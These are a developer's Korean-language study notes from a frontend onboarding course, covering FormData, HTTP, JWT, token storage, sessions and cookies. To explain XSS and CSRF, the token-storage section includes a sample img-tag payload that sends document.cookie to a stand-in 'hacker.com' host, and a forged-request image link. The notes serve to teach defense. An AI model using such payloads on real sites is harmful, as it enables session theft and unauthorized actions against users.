3월 프리온보딩 프론트엔드 챌린지
2023년 3월 프리온보딩 프론트엔드 챌린지 수강 도중 애매하게 알고 있었거나 새로이 알게된 정보 정리합니다.
강의를 들으면서 따로 조사해 덧붙인 내용도 있습니다.
Week 1-1
FormData API
- 여기서 유효성 검사는 pattern 속성을 추천 한다.
FormData에 속하는 필드는 아래와 같은 메서드로 수정할 수 있습니다.
formData.append(name, value) – name과 value를 가진 폼 필드를 추가
formData.append(name, blob, fileName) – <input type="file">형태의 필드를 추가.
세 번째 인수 fileName은 (필드 이름이 아니고) 사용자가 해당 이름을 가진 파일을 폼에 추가한 것처럼 설정해줌
formData.delete(name) – name에 해당하는 필드를 삭제
formData.get(name) – name에 해당하는 필드의 값을 가져옴
formData.has(name) – name에 해당하는 필드가 있으면 true를, 그렇지 않으면 false를 반환
출처: 모던 JavaScript
🐣: form + input 조합 같은 경우 useState, useRef를 쓰는 경우가 많은데, new FormData로 쓸 때의 이점이 있나요?
🦊: 우선 useState는 input의 onChange가 일어날 때마다 리렌더링 된다. 이를 막기 위해 디바운스를 주든지 부가기능을 붙여야 한다. useRef는 FormData API와 성능적으로 큰 차이가 없지만 FormData를 썼을 때 좀 더 가볍게 처리할 수 있다. 또 코드의 가독성 도 생긴다. (시멘틱해지기 때문에)
🐣: formData를 콘솔에 찍어보니 FormData{append: ƒ append(), delete: ƒ delete(), get: ƒ get(), getAll: ƒ getAll(), has: ƒ has()…}가 뜨는 반면, formData.get을 하면 안의 값이 정상적으로 나옵니다. 브라우저 콘솔에서 FormData 아래의 값을 확인하는 방법이 있을까요?
🦊: 브라우저 콘솔로 확인하기 어려울 것이다. FormData.entries()로 확인하시길.
Week 1-2
이론
-
HTTP란 하이퍼텍스트를 주고받는
프로토콜이다. -
한 번 로그인하고 난 뒤, 신원 확인이 필요한 API를 쏠 때 Header에 authentication을 붙여주지 않고 요청을 하면 왜 그 사람이 누구인지 모르는 거죠?
- HTTP 요청은 각각 개별적이며 그렇기 때문에 Header에 authentication을를 붙여주지 않으면 신원확인을 할 수 없다. http는 stateless(무상태)하고 connectionless(비연결성)하다.
-
Base64란?
Base64란 인코딩 규격이다. Binary Data를 Text로 변경하는 Encoding이다.- 인코딩은 다른 형태나 형식으로 변환하는 처리 혹은 그 처리 방식을 말한다.
-
토큰이란?
- 웹 표준으로서 이야기하고 있는 하나의 토큰이다.
-
JWT의 토큰 값 구하는 방식
- 해시함수(헤더 + 페이로드 + 해싱 시크릿키) -> 토큰의 값
- 백단에서 이 토큰값이 유효한 값인지 확인하는 법: 클라이언트가 보낸 토큰값에서 헤더, 페이로드를 떼고 서버에 있는 시크릿키로 다시 만들어 비교한다.
-
그래서 토큰을 어디에 저장해야 하는가?
-
비용과 상황에 따라 다르다. 답이 있는 문제가 아님.
-
토큰을 런타임 메모리에 저장하면 절대 탈취할 수 없겠지만 매번 로그인해주어야 한다. (로그인 유지 불가)
-
로컬스토리지에 담으면 XSS에 취약하다. react는 특히
dangerouslySetInnerHTML어트리뷰트가 있는데 특히 더 주의해야 한다.노트XSS란 웹사이트 관리자가 아닌 이가 웹 페이지에 악성 Script를 삽입할 수 있는 취약점이다.
<img src="#" width="0" height="0" onerror="this.src='http://hacker.com/gatherCookie.php?cookie='+encodeURIComponent(document.cookie);" />이런식으로 스크립트를 삽입해 탈취할 수 있다. -
쿠키에 담으면 CSRF에 취약하다
노트CSRF란 사용자가 자신의 의지와는 무관하게 공격자가 의도한 행위를(수정, 삭제, 등록) 특정 웹사이트에 요청하게 하는 공격이다.
-
이용자는 웹사이트에 로그인하여 정상적인 쿠키를 발급받는다
-
공격자는
http://www.geocities.com/attacker같은 링크를 이메일이나 게시판 등의 경로를 통해 이용자에게 전달한다. -
공격용 HTML 페이지는 다음과 같은 이미지태그를 가진다.
<img src= "https://travel.service.com/travel_update?.src=Korea&.dst=Hell">해당 링크는 클릭시 정상적인 경우 출발지와 도착지를 등록하기 위한 링크이다. 위의 경우 도착지를 변조 하였다. -
이용자가 공격용 페이지를 열면, 브라우저는 이미지 파일을 받아오기 위해 공격용 URL을 연다.
-
이용자의 승인이나 인지 없이 출발지와 도착지가 등록됨으로써 공격이 완료된다. 해당 서비스 페이지는 등록 과정에 대해 단순히 쿠키를 통한 본인확인 밖에 하지 않으므로 공격자가 정상적인 이용자의 수정이 가능하게 된다.
-
-
-
방어법
- httponly cookie를 해주고, access token, refresh token으로 방어한다.
-
authentication 앞에
bearer를 왜 붙이는 거죠. 심지어 하드코딩을 하는군요!- 이 역시도 RFC 6749에 정의되어 있다. 일종의 통신규약.

- 이 역시도 RFC 6749에 정의되어 있다. 일종의 통신규약.
-
cURL란 통신 프로토콜을 이용해 URL로 데이터를 전송하여 서버에 데이터를 보내거나 가져올때 사용하기 위한 명령줄 도구 및 라이브러리다. 여기서
c는 command line의 약자다.
Week 2-1
이론
세션
- 세선: 사용자의 로그인 이후, 로그아웃 혹은 로그인 만료까지의 기간
- 세션 방식 로그인: 사용자 로그인이 유효한 시간 동안 서버에서 세션 아이디를 기록해두고 인증에 사용하는 방식
- 세션 아이디를 기록하는 법: 쿠키
쿠키
- 쿠키: 서버에서 사용자의 웹 브라우저로 보내는 데이터 조각. 브라우저는 데이터 조각을 저장했다가 동일한 서버에서 요청 시 저장된 데이터를 함께 전송함
- 쿠키는 프론트엔드가 직접 넣어주는 게 아님.
- 쿠키 관련 정책 지정
- SameSite: None, Lax, Strict
- HttpOnly
- Secure (이 옵션을 쓸 땐, 로컬호스트에서 문제가 생길 수 있으므로 유의한다. 로컬은 http를 사용하기 때문이다. 프로덕션 환경에서만 작동하게 하는 등의 방법으로 사용)
- cookie-playground에서 쿠키를 가지고 놀아볼 수 있음
세션 vs JWT
- JWT: 서버/백엔드 비용 감소. 프론트엔드 복잡도 높아짐. 보안상 세션보다 좀 더 위험
- 세션: 서버/백엔드 비용 증가. 프론트엔드 인증 쉬워짐. 보안상 약간 향상
- 서비스 상황에 따라 선택하자. 동시접속자 수, 서비스 규모, 앱&웹 동시 운용 여부, 팀 내 인력구성, 일정 등...
Q&A
🐣: _secret처럼 변수명에 언더스코어를 붙이는 의미(네이밍 컨벤션)가 무엇인가요?
🦊: 사실 언더스코어는 시스템, 혹은 객체지향 프로그래밍, 클래스를 만들 때 주로 쓰인다. _를 붙인다는 것은 스코프 안에서 private하게 쓰겠다는 의미이다. 즉, 비밀스러운 변수.
🐣: 보다 일찍 return 을 해줘버리는 걸 뭐라고 하나요?
🦊: ealry return 이라고 한다. 말 그대로 return을 빨리해서 뒷 코드의 구조를 단순하게 만들어준다. 이렇게 하면 else를 제거할 수 있다.
🐣: 위치에 따른 로그인 인증 방법을 구현하고 싶은데, vpn은 사용자의 접속 위치를 변경하잖아요? 어떻게 구현하는게 좋을까요?
🦊: 위험함. 클라이언트에서는 특히 하지 마라.
🐣: API 다루는 게 너무 어렵습니다. API 실습을 위해서 백엔드도 따로 공부해야 할까요?
🦊: 샘플 API를 추천한다.
그밖의 메모
meta 태그의 og 는 open graph의 약어로, 어떤 HTML 문서의 메타정보를 쉽게 표시하기 위해 메타정보에 해당하는 다양한 요소들에 대해 사람들이 통일해서 쓸 수 있도록 정의한 프로토콜이다.